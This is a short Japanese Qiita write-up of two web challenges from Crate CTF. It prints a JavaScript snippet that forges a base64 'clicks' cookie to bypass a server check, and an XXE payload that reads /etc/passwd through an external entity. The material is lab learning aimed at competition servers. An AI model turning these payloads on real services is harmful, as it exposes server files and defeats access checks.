1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Crate CTF Writeup

Posted at

はじめに

今回はsknbでcrate ctfに参加してきました。
夜の10時から朝6時という大会時間で、かつ言語はスウェーデンなので、いつもと違う環境でのCTFでした。
結果としては148位でした。
Webの問題で解けそうな問題を2つ落としてしまったのが悔しかったです。

image.png

KaKlickare

image.png
ホームページに行くとGet the flag!と書かれたボタンが出るので
それを押すと、1000000000回クリックしろと言われます。
リクエストを見ると、Cookieヘッダのclicksの値で判定しているので
clicksを以下のコードで改ざんし、リクエストを送信することでフラグが手に入ります。

(async () => {
  const baseUrl = "http://challs.crate.nu:50012/";
  const clickCnt = "1000000000";
  const res = await fetch(baseUrl + "flag.php", {
    method: "POST",
    headers: {"Cookie": `clicks=${btoa(clickCnt)}`}
  });
  console.log(await res.text());
})();

image.png

XML-kontroll

image.png

XMLを入力するページが出てきます。
ここですぐにXXEを思いつきました。
XMLには実体という変数のような機能があります。
実体を定義するとXML中にそれを&実体名で記述すると
実体の内容を参照することができます。
外部実態参照(XXE)とは実体の内容に外部のデータを使用できるというものです。
例えばローカルファイルもそれに含まれます。
以下の実態を用いて/etc/passwdの内容を取得したところ、ユーザ名にフラグが書いてありました。

<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data>&example;</data>

image.png

おわりに

私が大会中はこの2つを解きました。
この他に3つWeb問がありましたが、その2つは自分の知っていた脆弱性だったので
解けなかったのが悔しかったです。
次はSeccon Qualsなので気合入れていきます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?